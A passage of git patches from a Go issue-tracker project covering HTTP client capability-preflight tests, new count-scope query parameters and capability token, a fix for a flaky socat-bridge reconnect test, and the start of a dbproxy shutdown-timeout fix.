writeOp struct { + name string + call func(context.Context, *Client) error +} + +func writeOps() []writeOp { + return []writeOp{ + {OpClaimIssue, func(ctx context.Context, c *Client) error { + _, err := c.ClaimIssue(ctx, "bd-1", apigen.ClaimRequest{Actor: "w"}) + return err + }}, + // The only write here that carries a QUERY, and the only one that names + // no resource: the filter that chooses the row is the ready listing's + // vocabulary spelled as a query string. + {OpClaimNextIssue, func(ctx context.Context, c *Client) error { + _, err := c.ClaimNextIssue(ctx, url.Values{"sort": []string{"hybrid"}}, apigen.ClaimNextRequest{Actor: "w"}) + return err + }}, + {OpCloseIssue, func(ctx context.Context, c *Client) error { + _, err := c.CloseIssue(ctx, "bd-1", apigen.CloseIssueRequest{Actor: "w"}) + return err + }}, + {OpReopenIssue, func(ctx context.Context, c *Client) error { + _, err := c.ReopenIssue(ctx, "bd-1", apigen.ReopenIssueRequest{Actor: "w"}) + return err + }}, + {OpReleaseIssue, func(ctx context.Context, c *Client) error { + _, err := c.ReleaseIssue(ctx, "bd-1", apigen.ReleaseIssueRequest{Actor: "w"}) + return err + }}, + {OpAddComment, func(ctx context.Context, c *Client) error { + _, err := c.AddComment(ctx, "bd-1", apigen.AddCommentRequest{Author: "w", Text: "t"}) + return err + }}, + {OpUpdateIssue, func(ctx context.Context, c *Client) error { + _, err := c.UpdateIssue(ctx, "bd-1", "w", map[string]any{"title": "t"}, UpdateGuards{}) + return err + }}, + {OpCreateIssue, func(ctx context.Context, c *Client) error { + _, err := c.CreateIssue(ctx, apigen.CreateIssueRequest{Actor: "w", Title: "t"}) + return err + }}, + {OpCompareAndSetMetadata, func(ctx context.Context, c *Client) error { + _, err := c.CompareAndSetMetadata(ctx, "bd-1", apigen.CompareAndSetMetadataRequest{Actor: "w", Key: "k"}) + return err + }}, + {OpAddDependencies, func(ctx context.Context, c *Client) error { + _, err := c.AddDependencies(ctx, apigen.AddDependenciesRequest{ + Actor: "w", + Edges: []apigen.DependencyEdge{{IssueId: "bd-1", DependsOnId: "bd-2", Type: "blocks"}}, + }) + return err + }}, + {OpRemoveDependency, func(ctx context.Context, c *Client) error { + _, err := c.RemoveDependency(ctx, apigen.RemoveDependencyRequest{ + Actor: "w", IssueId: "bd-1", DependsOnId: "bd-2", + }) + return err + }}, + {OpSweepIssues, func(ctx context.Context, c *Client) error { + _, err := c.SweepIssues(ctx, apigen.SweepRequest{Tier: apigen.Ephemeral}) + return err + }}, + {OpDeleteIssues, func(ctx context.Context, c *Client) error { + _, err := c.DeleteIssues(ctx, apigen.DeleteIssuesRequest{Ids: []string{"bd-1"}}) + return err + }}, + {OpBatchCreateIssues, func(ctx context.Context, c *Client) error { + _, err := c.BatchCreateIssues(ctx, apigen.BatchCreateRequest{ + Actor: "w", Items: []apigen.BatchCreateItem{{Title: "t"}}, + }) + return err + }}, + {OpBatchCloseIssues, func(ctx context.Context, c *Client) error { + _, err := c.BatchCloseIssues(ctx, apigen.BatchCloseRequest{ + Actor: "w", Items: []apigen.BatchCloseItem{{Id: "bd-1"}}, + }) + return err + }}, + {OpApplyBatch, func(ctx context.Context, c *Client) error { + _, err := c.ApplyBatch(ctx, ApplyBatchRequest{ + Actor: "w", + Items: []ApplyItem{{ + Kind: string(apigen.ApplyItemKindCreate), + Create: &apigen.ApplyCreateItem{Title: "t"}, + }}, + }) + return err + }}, + {OpRememberMemory, func(ctx context.Context, c *Client) error { + _, err := c.RememberMemory(ctx, apigen.RememberRequest{}) + return err + }}, + {OpGetMemory, func(ctx context.Context, c *Client) error { + _, err := c.RecallMemory(ctx, "k") + return err + }}, + {OpForgetMemory, func(ctx context.Context, c *Client) error { + _, err := c.ForgetMemory(ctx, "k") + return err + }}, + {OpListMemories, func(ctx context.Context, c *Client) error { + _, err := c.ListMemories(ctx, "") + return err + }}, + {OpListReadyWork, func(ctx context.Context, c *Client) error { + _, err := c.ListReadyWork(ctx, url.Values{}) + return err + }}, + } +} + +func (op writeOp) run(t *testing.T, c *Client) error { + t.Helper() + return op.call(ctx(t), c) +} + +func TestEveryWriteOperationPreflightsBeforeItDials(t *testing.T) { + ops := writeOps() + if len(ops) == 0 { + t.Fatal("no write operations are classified; there is nothing for this gate to check") + } + + every := allTokens() + for _, op := range ops { + token, known := CapabilityFor(op.name) + if !known { + t.Errorf("%s is not on the capability map", op.name) + continue + } + if IsBaseline(op.name) { + // Not a skipped case: the baseline half has its own gate below, and + // a subtest that only ever skips is the shape this whole wiring + // exists to eliminate. + continue + } + t.Run(op.name, func(t *testing.T) { + // A server that advertises the whole vocabulary EXCEPT this + // operation's token. The holdout matters: a "server has nothing" + // fixture passes even for a method wired to a neighbour's token. + held := make([]string, 0, len(every)) + for _, candidate := range every { + if candidate != token { + held = append(held, candidate) + } + } + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1", held...))) + + err := op.run(t, c) + var absent *CapabilityError + if !errors.As(err, &absent) { + t.Fatalf("%s against a server that does not advertise %q = %v (%T), want a *CapabilityError", + op.name, token, err, err) + } + if absent.Capability != token { + t.Errorf("%s refused on capability %q, want %q", op.name, absent.Capability, token) + } + + // The half that is the whole point: the operation's own request was + // never made. Only the handshake reached the server. + if rec.count() != 1 { + t.Fatalf("%s made %d requests, want only the handshake", op.name, rec.count()) + } + if got := rec.at(t, 0).path; got != PathContext { + t.Errorf("%s dialed %q before refusing; an unrouted path on an older server answers a bare 404, "+ + "which is indistinguishable from an entity's not_found (D6)", op.name, got) + } + }) + } +} + +// TestEveryBaselineWriteOperationDialsWithoutConsultingTheList is the other +// polarity, and it is not symmetric decoration: the two-speed policy exists to +// keep the hot work-distribution path off a second round trip, so a baseline +// operation that started preflighting would be a real regression that the test +// above cannot see. +func TestEveryBaselineWriteOperationDialsWithoutConsultingTheList(t *testing.T) { + var baseline int + for _, op := range writeOps() { + if !IsBaseline(op.name) { + continue + } + baseline++ + t.Run(op.name, func(t *testing.T) { + // A server advertising NOTHING. A baseline operation still dials. + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1"))) + if err := op.run(t, c); err != nil { + t.Fatalf("%s against a server advertising nothing: %v", op.name, err) + } + if rec.count() != 1 { + t.Fatalf("%s made %d requests, want exactly its own", op.name, rec.count()) + } + if got := rec.at(t, 0).path; got == PathContext { + t.Errorf("%s fetched the context first; a baseline operation must not", op.name) + } + }) + } + // listReadyWork is the ONE baseline operation the write door reaches (the + // composed ClaimNext is its only caller here). claimIssue used to be the + // second, but ga-b8ddd.11 pulled it out of baselineOps: a claim is a write, + // and the handshake it now forces is what runs the project-identity gate + // before it. So claimIssue is exercised by + // TestEveryWriteOperationPreflightsBeforeItDials instead, which stays green + // because that PR keeps ClaimIssue routing through c.dispatch. The baseline + // set is now five — the four reads plus getContext/health liveness — and + // none of them is a write. + if baseline != 1 { + t.Errorf("%d baseline write operations, want 1; the baseline set moved and this gate's premise with it", baseline) + } +} + +// TestEveryOperationMethodRoutesThroughTheSharedDispatch is the structural half. +// +// writes.go's own comment states the rule — "each one preflights ITSELF... the +// capability check is not a policy the CALLER should be able to forget" — and +// the way it is kept is that every method calls c.dispatch, which is +// preflight-then-Do and nothing else. A method reaching c.Do directly would skip +// the preflight silently; only the behavioral half above would catch it, and +// only for the operations someone remembered to table. +// +// SCOPE CAVEAT: this reads writes.go alone, by design — every operation method +// lives there today, and confining the scan is what lets it assert "exactly one +// dispatch, no bare Do" per method without tripping over the handshake's own +// Do calls in handshake.go. The blind spot is the price: an operation method +// added to a DIFFERENT file escapes this gate entirely. The behavioral half is +// the backstop — a method that skipped the preflight would dial an unadvertised +// path in TestEveryWriteOperationPreflightsBeforeItDials — but only if it was +// also added to writeOps(), which TestEveryOperationMethodIsCoveredByTheTwoSpeedTable +// enforces for the methods in this file and cannot for one outside it. A new +// operation belongs in writes.go; put it elsewhere and both gates need widening. +func TestEveryOperationMethodRoutesThroughTheSharedDispatch(t *testing.T) { + file := parseWritesFile(t) + + var checked int + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok || fn.Recv == nil || !fn.Name.IsExported() { + continue + } + checked++ + var dispatches, dials int + ast.Inspect(fn, func(n ast.Node) bool { + sel, ok := n.(*ast.SelectorExpr) + if !ok { + return true + } + switch sel.Sel.Name { + case "dispatch": + dispatches++ + case "Do": + dials++ + } + return true + }) + if dials > 0 { + t.Errorf("%s calls Do directly; it must go through dispatch, which is the preflight-then-Do pairing "+ + "none of these methods may skip", fn.Name.Name) + } + if dispatches != 1 { + t.Errorf("%s makes %d dispatch calls, want exactly 1", fn.Name.Name, dispatches) + } + } + if checked == 0 { + t.Fatal("found no exported operation methods in writes.go; the file moved and this gate went vacuous") + } +} + +// TestEveryOperationMethodIsCoveredByTheTwoSpeedTable keeps the table above from +// going stale by omission. A method added to writes.go tomorrow with no entry +// here would be a write door nothing checks, and the structural gate alone +// cannot say whether its token is the right one. +func TestEveryOperationMethodIsCoveredByTheTwoSpeedTable(t *testing.T) { + var tabled []string + for _, op := range writeOps() { + tabled = append(tabled, op.name) + } + + file := parseWritesFile(t) + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok || fn.Recv == nil || !fn.Name.IsExported() { + continue + } + op := operationDispatched(fn) + if op == "" { + t.Errorf("%s dispatches no recognizable Op constant; the table cannot be checked against it", fn.Name.Name) + continue + } + if !slices.Contains(tabled, op) { + t.Errorf("writes.go's %s dispatches %s, which no writeOps() entry drives", fn.Name.Name, op) + } + } +} + +// operationDispatched reads the Op the method's Request literal names, as the +// identifier it is spelled with (`OpCloseIssue`), resolved through the package's +// own constants. +func operationDispatched(fn *ast.FuncDecl) string { + var found string + ast.Inspect(fn, func(n ast.Node) bool { + kv, ok := n.(*ast.KeyValueExpr) + if !ok { + return true + } + key, ok := kv.Key.(*ast.Ident) + if !ok || key.Name != "Op" { + return true + } + if ident, ok := kv.Value.(*ast.Ident); ok { + found = opConstants()[ident.Name] + } + return false + }) + return found +} + +func parseWritesFile(t *testing.T) *ast.File { + t.Helper() + file, err := parser.ParseFile(token.NewFileSet(), "writes.go", nil, parser.SkipObjectResolution) + if err != nil { + t.Fatalf("parse writes.go: %v", err) + } + return file +} + +// serveEverything answers the context with body and every other path with an +// empty JSON object, which decodes into any of this client's response types. +func serveEverything(body string) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == PathContext { + _, _ = io.WriteString(w, body) + return + } + _, _ = io.WriteString(w, `{}`) + } +} + +// opConstants maps the Go identifier of each operation constant to its value, so +// the AST scan above can turn `OpCloseIssue` into "closeIssue" without a second +// hand-kept copy of the pairing. +func opConstants() map[string]string { + out := map[string]string{} + for op := range opCapability { + // The identifier is Op + the operationId with an upper-case initial. + out["Op"+strings.ToUpper(op[:1])+op[1:]] = op + } + // The two identity operations are on the map with an empty token, so the + // loop above already covered them. + return out +} diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index 1386f6143..763e46264 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -40,6 +40,7 @@ PACKAGES = ( "cmd/bd", # //cmd/bd:bd_test (capability registry, journal, serve scans) "cmd/bd/doctor", # //cmd/bd:bd_test (events-journal construction scan) "cmd/bd/doctor/fix", # //cmd/bd:bd_test (events-journal construction scan) + "internal/httpclient", # //internal/httpclient/wire:wire_test (handshake/skew AST sweep) "internal/types", # role facade alias targets "issueops", # //backend/conformance (role facade census) "journalops", # //backend/conformance (role facade census) From edafcbce1bf5b2e6401da0ab63c1962f42ebfc65 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 08:31:08 -0700 Subject: [PATCH 104/325] fix(httpclient): map Counter scope params and issues.count.scope capability (#7250) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #7210 (OSS HTTP client wire/encode layers) and #7199 (Counter scope — ParentID, NoParent, ExcludeTypes, ExcludeStatus behind issues.count.scope) merged back to back without a rebase, leaving main red on the client's parity gates: the count encoder table left the four new CountRequest members unclassified, the published parent/no_parent/exclude_type/ exclude_status parameters had no driving field, and the client's capability vocabulary lacked the server's new behavior token. - encode: countTable maps the four scope members as params, spelled as the server's countFilters decodes them; countFilters emits them. - encode/skew: --no-parent / --exclude-status flag mapping for the unknown_parameter refusal. - wire: CapCountScope mirrors httpapi.CapIssuesCountScope and joins behaviorCapabilities; the vocabulary test pins it by name and order. - roundtrip: scope members round-trip through the server decoder (ParentID and NoParent in separate cases, as the role refuses both). Co-authored-by: Claude Opus 5.5 (1M context) --- internal/httpclient/encode/encode.go | 8 ++++++++ internal/httpclient/encode/roundtrip_test.go | 20 +++++++++++++++++++ internal/httpclient/encode/skew.go | 2 ++ internal/httpclient/encode/table.go | 21 ++++++++++++++++---- internal/httpclient/wire/handshake.go | 21 +++++++++++++++++++- internal/httpclient/wire/vocabulary_test.go | 7 +++++-- 6 files changed, 72 insertions(+), 7 deletions(-) diff --git a/internal/httpclient/encode/encode.go b/internal/httpclient/encode/encode.go index c99a75bd9..60fceeacf 100644 --- a/internal/httpclient/encode/encode.go +++ b/internal/httpclient/encode/encode.go @@ -415,6 +415,14 @@ func (b *builder) countFilters(req issueops.CountRequest) { b.metadata(req.MetadataFields) b.str("has_metadata_key", req.HasMetadataKey) + + // The issues.count.scope members (upstream #7199), in the server's own + // countFilters order. Each is emitted only when populated, so a request that + // sets none of them stays byte-identical to what a pre-scope server accepts. + b.str("parent", req.ParentID) + b.boolean("no_parent", req.NoParent) + b.list("exclude_type", req.ExcludeTypes) + b.list("exclude_status", req.ExcludeStatus) } // GetTarget encodes a detail lookup onto GET /v0/beads/issues/{id}, returning diff --git a/internal/httpclient/encode/roundtrip_test.go b/internal/httpclient/encode/roundtrip_test.go index fe362734a..6d09ba6d7 100644 --- a/internal/httpclient/encode/roundtrip_test.go +++ b/internal/httpclient/encode/roundtrip_test.go @@ -274,6 +274,12 @@ func roundTripCases() []roundTripCase { MetadataFields: map[string]string{"team": "core", "wave": "3"}, HasMetadataKey: "team", + + // The issues.count.scope members (#7199). NoParent is the one left out: + // the role refuses it beside ParentID, so it rides its own case below. + ParentID: "bd-epic1", + ExcludeTypes: []string{"gate", "molecule"}, + ExcludeStatus: []string{"closed", "deferred"}, } // Values that have to survive percent-encoding, a `=` inside a metadata @@ -313,6 +319,20 @@ func roundTripCases() []roundTripCase { // `all` is a status the count takes literally and the server forwards // verbatim; it is not the listing's boolean of the same spelling. {"countIssues/the literal all status", OpCountIssues, "", issueops.CountRequest{Status: "all"}}, + // The issues.count.scope members (#7199). ParentID and NoParent are + // mutually exclusive at the ROLE, so they ride separate cases; the two + // exclusion lists carry more than one entry each so a decoder that kept + // only the first value would be a mismatch rather than a coincidence. + {"countIssues/scope under a parent", OpCountIssues, "", issueops.CountRequest{ + ParentID: "bd-epic1", + ExcludeTypes: []string{"gate", "molecule"}, + ExcludeStatus: []string{"closed", "deferred"}, + }}, + {"countIssues/scope at the top level", OpCountIssues, "", issueops.CountRequest{ + NoParent: true, + ExcludeTypes: []string{"epic"}, + ExcludeStatus: []string{"blocked"}, + }}, {"countIssues/byGroup/a dimension over an empty predicate", OpCountIssues, "byGroup", issueops.CountByGroupRequest{GroupBy: issueops.CountGroupStatus}}, {"countIssues/byGroup/a dimension over the whole predicate", OpCountIssues, "byGroup", issueops.CountByGroupRequest{Filter: countEverything, GroupBy: issueops.CountGroupLabel}}, diff --git a/internal/httpclient/encode/skew.go b/internal/httpclient/encode/skew.go index 2b7658cd1..a7799fd96 100644 --- a/internal/httpclient/encode/skew.go +++ b/internal/httpclient/encode/skew.go @@ -82,6 +82,7 @@ var paramFlag = map[string]string{ "desc_contains": "desc-contains", "empty_description": "empty-description", "exclude_label": "exclude-label", + "exclude_status": "exclude-status", "exclude_type": "exclude-type", "has_metadata_key": "has-metadata-key", "id": "id", @@ -100,6 +101,7 @@ var paramFlag = map[string]string{ "metadata_field": "metadata-field", "no_assignee": "no-assignee", "no_labels": "no-labels", + "no_parent": "no-parent", "notes_contains": "notes-contains", "parent": "parent", "priority": "priority", diff --git a/internal/httpclient/encode/table.go b/internal/httpclient/encode/table.go index 0dfc5f292..6b4fd44a9 100644 --- a/internal/httpclient/encode/table.go +++ b/internal/httpclient/encode/table.go @@ -108,7 +108,7 @@ const ( // // countIssues is why it exists: CountByGroupRequest carries the scalar // predicate BY NAME (`Filter`) plus the dimension, so its table would - // otherwise have to restate twenty-three classifications the count table + // otherwise have to restate every classification the count table // already makes — two copies of one partition, which is the drift every // other gate here is written to prevent. // @@ -418,8 +418,7 @@ func queryTable() Table { // does the most damage: a listing that widened returns rows a caller can look // at, and a count that widened returns a NUMBER, which carries no evidence of // the set it came from. So the partition here was measured against the -// document rather than assumed — every one of CountRequest's twenty-three -// members is published by GET /v0/beads/issues:count, and the count's +// document rather than assumed — every one of CountRequest's members is published by GET /v0/beads/issues:count, and the count's // vocabulary is total. // // THE COUNT'S PLANE VOCABULARY IS NARROWER THAN THE LISTING'S — `include_infra` @@ -496,6 +495,20 @@ func countTable() Table { // ListRequest.HasMetadataKey/ReadyRequest.HasMetadataKey. Missing // here for the same reason IncludeEphemeral was: no entry at all.] param("HasMetadataKey", "has_metadata_key"), + + // [Added: the four scope members of upstream #7199 (behavior token + // issues.count.scope). The server decodes them in reads.go + // countFilters exactly as spelled here — parent and exclude_type as + // the listing reads them, no_parent and exclude_status by this + // surface's own boolean/list conventions. Against a server that does + // not advertise issues.count.scope these parameters answer 400 + // unknown_parameter (skew.go case 3); the capability pre-flight that + // refuses them LOCALLY before the dial belongs to the count role + // client, which reads wire.CapCountScope off the handshake snapshot.] + paramTo("ParentID", "parent", "ParentID"), + paramTo("NoParent", "no_parent", "NoParent"), + paramTo("ExcludeTypes", "exclude_type", "ExcludeTypes"), + paramTo("ExcludeStatus", "exclude_status", "ExcludeStatus"), }, } } @@ -506,7 +519,7 @@ func countTable() Table { // It is NOT primary — the count table above owns the operation's parameter set // — and it classifies two members, because that is all CountByGroupRequest has. // The predicate travels through the count table by delegation (DispNested) -// rather than by a second enumeration of the same twenty-three fields. +// rather than by a second enumeration of the same fields. func countByGroupTable() Table { return Table{ Op: OpCountIssues, Shape: "byGroup", diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 0a7f450ec..feae076dc 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -123,6 +123,25 @@ const CapProjectEnforce = "project.enforce" // server's, so the mirror is what makes the two land together. const CapListSort = "issues.list.sort" +// CapCountScope is the behavior capability announcing that countIssues honors +// the four scope parameters `parent`, `no_parent`, `exclude_type` and +// `exclude_status` (upstream #7199), spelled exactly as httpapi's +// CapIssuesCountScope (held to it by TestTheProjectIdentityVocabularyMatchesTheServer). +// Like CapListSort it names parameters on an existing operation — +// issues.count is already countIssues' per-operation token — so it rides here +// rather than on opCapability. +// +// Nothing in this package reads it yet: the encoder table maps the four +// members (encode.countTable), and the count role client that dials +// countIssues is what must consult it — refusing LOCALLY with a typed +// capability error naming this token, before any network call, when a request +// populates ParentID, NoParent, ExcludeTypes or ExcludeStatus and the +// handshake snapshot does not advertise it (httpapi.CapIssuesCountScope's doc +// states that obligation and the downstream fallback it protects). It is +// declared now for the same reason CapListSort was: the capability-union +// parity gate compares this client's whole vocabulary with the server's. +const CapCountScope = "issues.count.scope" + // CapBatchApplyLarge is the behavior capability announcing that issues.batchApply // accepts a batch larger than the compiled-in floor (100 items), up to the // raised ceiling (1000), spelled exactly as httpapi's constant of the same name @@ -255,7 +274,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } // union(opCapability tokens, this) set-equal with httpapi.Capabilities(), which is // what makes the server change and this client change land together: the parity // test goes red the moment one ships without the other. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapListSort} +var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope} // CapabilityFor reports the capability token gating op, and whether op is on // this client's map at all. An operation with no token — liveness, the diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 7569e7502..168f77ebb 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -142,6 +142,9 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if CapListSort != httpapi.CapIssuesListSort { t.Errorf("CapListSort = %q, server says %q", CapListSort, httpapi.CapIssuesListSort) } + if CapCountScope != httpapi.CapIssuesCountScope { + t.Errorf("CapCountScope = %q, server says %q", CapCountScope, httpapi.CapIssuesCountScope) + } if CapBatchApplyLarge != httpapi.CapBatchApplyLarge { t.Errorf("CapBatchApplyLarge = %q, server says %q", CapBatchApplyLarge, httpapi.CapBatchApplyLarge) } @@ -179,8 +182,8 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { // literal is spelled out member by member rather than compared against the // server's own slice: a mirror checked against the thing it mirrors passes // however both of them move. - if !slices.Equal(behaviorCapabilities, []string{httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort}) { - t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge and issues.list.sort tokens", behaviorCapabilities) + if !slices.Equal(behaviorCapabilities, []string{httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope}) { + t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort and issues.count.scope tokens", behaviorCapabilities) } } From 5b44f40160efd14ddeaf7f7d77b750f4d8da83ac Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 08:42:50 -0700 Subject: [PATCH 105/325] test(proxied): reap the outage bridge before rebinding its TCP port (#7238) TestProxiedServerOutageReconnectAcceptanceMatrix/external-tcp flaked in the Bazel proxied-server tier with "Condition never satisfied: bd reconnect after upstream restart" (5 CI failures, every one external-tcp, never the unix case). The restore step SIGKILLed the old socat front and immediately started a replacement on the same TCP port. Kill only queues the signal: on a loaded host the old socat can still hold the listener when the replacement calls bind, so the replacement exits with EADDRINUSE. Its stderr went nowhere and the "remained alive" check passed on the unreaped pid, so the endpoint refused every connection and each bd attempt correctly failed with the proxy's upstream-unreachable report until the 10s window ran out. The unix case removes and rebinds a fresh socket path, so it cannot hit this. The bridge is now a small type that tracks socat's exit: stop() kills and waits for exit (the listener is released by then), and startOutageBridge waits for socat's own "listening on" notice (-d -d), retrying a socat that exits before listening. The reconnect loop reports the last bd error and the bridge log on failure instead of a bare "condition never satisfied". Product behaviour is unchanged: the proxy reports a refused upstream and reconnects as soon as the endpoint is back. Co-authored-by: Claude Opus 5.5 (1M context) --- ...oxied_outage_reconnect_integration_test.go | 116 ++++++++++++++---- 1 file changed, 90 insertions(+), 26 deletions(-) diff --git a/cmd/bd/proxied_outage_reconnect_integration_test.go b/cmd/bd/proxied_outage_reconnect_integration_test.go index 07bed2159..80fec8088 100644 --- a/cmd/bd/proxied_outage_reconnect_integration_test.go +++ b/cmd/bd/proxied_outage_reconnect_integration_test.go @@ -82,17 +82,25 @@ func TestProxiedServerOutageReconnectAcceptanceMatrix(t *testing.T) { newPort, err := upstream.CurrentPort(ctx) cancel() require.NoError(t, err) - require.NoError(t, bridge.Process.Kill()) + // Re-point the front at the restored upstream. stop reaps the old + // socat, so its listener is gone before the replacement binds the + // same TCP port; start returns only once the replacement is + // listening. + bridge.stop(t) bridge = startOutageBridge(t, endpoint, newPort, topology.socket) var after *types.Issue - require.Eventually(t, func() bool { - stdout, _, runErr := bdProxiedRunBuffers(t, bd, p.dir, "show", sentinel.ID, "--json") - if runErr != nil { - return false + for deadline := time.Now().Add(10 * time.Second); ; { + stdout, stderr, runErr := bdProxiedRunBuffers(t, bd, p.dir, "show", sentinel.ID, "--json") + if runErr == nil { + after = parseIssueJSON(t, []byte(stdout)) + break } - after = parseIssueJSON(t, []byte(stdout)) - return true - }, 10*time.Second, 100*time.Millisecond, "bd reconnect after upstream restart") + if time.Now().After(deadline) { + t.Fatalf("bd did not reconnect within 10s of the upstream restart; last error: %v: %s\nbridge log:\n%s", + runErr, strings.TrimSpace(stderr), bridge.stderr) + } + time.Sleep(100 * time.Millisecond) + } if after.ID != before.ID || after.Title != before.Title { t.Fatalf("sentinel changed after reconnect: before=%q/%q after=%q/%q", before.ID, before.Title, after.ID, after.Title) } @@ -201,34 +209,90 @@ func actionableTransportError(s string) bool { return false } -func waitForSocket(t *testing.T, path string) { - t.Helper() - require.Eventually(t, func() bool { _, err := os.Stat(path); return err == nil }, 3*time.Second, 20*time.Millisecond, - "unix socket did not appear") +// outageBridge is the socat front standing in for the external endpoint. The +// test swaps it when the upstream comes back, so it tracks the process's exit: +// a replacement must not bind until the old listener is gone, and a +// replacement that failed to bind must not pass for a live front. +type outageBridge struct { + cmd *exec.Cmd + stderr *syncBuffer + exited chan struct{} } -func startOutageBridge(t *testing.T, endpoint, upstreamPort string, socket bool) *exec.Cmd { +// stop kills the bridge and waits for it to exit, which is when the kernel +// has released its listener. Kill alone only queues SIGKILL: on a loaded host +// the old socat can still own the TCP port when the replacement calls bind, +// and the replacement then exits with EADDRINUSE, leaving the endpoint +// refusing connections for the rest of the test. +func (b *outageBridge) stop(t *testing.T) { + t.Helper() + _ = b.cmd.Process.Kill() + select { + case <-b.exited: + case <-time.After(10 * time.Second): + t.Fatalf("outage bridge (pid %d) did not exit after SIGKILL", b.cmd.Process.Pid) + } +} + +// socatListeningMarker is what socat logs at notice level (-d -d) once its +// listen() has succeeded; socat 1.7 and 1.8 both print it. +const socatListeningMarker = "listening on" + +// startOutageBridge starts a socat front on endpoint (a TCP port on 127.0.0.1, +// or a unix socket path) forwarding to the upstream's TCP port, and returns +// once socat reports that it is listening. A socat that exits before then +// (its bind lost a race for the port) is retried a few times. +func startOutageBridge(t *testing.T, endpoint, upstreamPort string, socket bool) *outageBridge { t.Helper() var listen string if socket { - // socat refuses to bind over a stale pathname after an outage. - _ = os.Remove(endpoint) listen = "UNIX-LISTEN:" + endpoint + ",fork" } else { listen = "TCP-LISTEN:" + endpoint + ",bind=127.0.0.1,reuseaddr,fork" } - cmd := exec.Command("socat", listen, "TCP:127.0.0.1:"+upstreamPort) - require.NoError(t, cmd.Start()) - require.Eventually(t, func() bool { return processAlive(cmd.Process.Pid) }, time.Second, 20*time.Millisecond, "outage bridge process did not remain alive") - if socket { - waitForSocket(t, endpoint) - } - t.Cleanup(func() { - if cmd.Process != nil { - _ = cmd.Process.Kill() + const attempts = 5 + var lastLog string + for attempt := 1; attempt <= attempts; attempt++ { + if socket { + // socat refuses to bind over a stale pathname after an outage. + _ = os.Remove(endpoint) } - }) - return cmd + b := &outageBridge{stderr: &syncBuffer{}, exited: make(chan struct{})} + b.cmd = exec.Command("socat", "-d", "-d", listen, "TCP:127.0.0.1:"+upstreamPort) + b.cmd.Stderr = b.stderr + require.NoError(t, b.cmd.Start()) + go func() { + _ = b.cmd.Wait() + close(b.exited) + }() + t.Cleanup(func() { + _ = b.cmd.Process.Kill() + <-b.exited + }) + deadline := time.After(10 * time.Second) + waitListening: + for !strings.Contains(b.stderr.String(), socatListeningMarker) { + select { + case <-b.exited: + break waitListening + case <-deadline: + b.stop(t) + t.Fatalf("outage bridge on %s did not start listening within 10s:\n%s", endpoint, b.stderr) + case <-time.After(10 * time.Millisecond): + } + } + select { + case <-b.exited: + lastLog = b.stderr.String() + t.Logf("outage bridge on %s exited before listening (attempt %d/%d):\n%s", endpoint, attempt, attempts, lastLog) + time.Sleep(100 * time.Millisecond) + continue + default: + } + return b + } + t.Fatalf("outage bridge on %s never started listening after %d attempts; last log:\n%s", endpoint, attempts, lastLog) + return nil } // shortSocketPath returns a unix-socket path under a short private directory: From c9a36b248c04aeda73b820cab6a4eeed7e8d9d53 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 08:53:11 -0700 Subject: [PATCH 106/325] fix(dbproxy): wait out a live starter's spawn marker instead of a fixed 5s (#7249) Shutdown advances the stop epoch, then waits while a live starter's proxy.spawn marker covers the release-lock-before-exec window. That wait shared shutdownConfirmDeadline (5s) with the kill/confirm phases, but the starter legitimately holds the marker longer: it waits up to openDeadline for the child to take proxy.lock (which clears the marker) and then up to shutdownConfirmDeadline each to kill the child and clear the marker. On a loaded host (CI -race runners) a slow fork/exec pushed the start past 5s and `bd dolt stop` reported "proxy.Shutdown partial: backend stopped; proxy left running: timeout (5s) waiting for spawn marker" for a start that was still progressing and about to abort on the advanced epoch. This is the TestShutdownWaitsForStartDelayedBeforeExec flake. The marker is only treated as active while its owner's verified identity is alive (a dead owner's marker is removed on sight), so bound the wait by the starter's own budgets (shutdownSpawnWaitDeadline = openDeadline + 2*shutdownConfirmDeadline) and give the post-start stop phases a fresh shutdownConfirmDeadline once the marker resolves. Tests: TestShutdownWaitsForLiveStarterPastConfirmDeadline holds the start before exec past shutdownConfirmDeadline; it fails deterministically with the CI signature before this change. Both spawn/stop tests share a helper and use generous hang-detector timeouts. Co-authored-by: Claude Opus 5.5 (1M context) --- .../proxy/endpoint_spawn_stop_unix_test.go | 50 +++++++++++++++---- internal/storage/dbproxy/proxy/shutdown.go | 29 +++++++++-- 2 files changed, 65 insertions(+), 14 deletions(-) diff --git a/internal/storage/dbproxy/proxy/endpoint_spawn_stop_unix_test.go b/internal/storage/dbproxy/proxy/endpoint_spawn_stop_unix_test.go index 6ff9d260b..032154366 100644 --- a/internal/storage/dbproxy/proxy/endpoint_spawn_stop_unix_test.go +++ 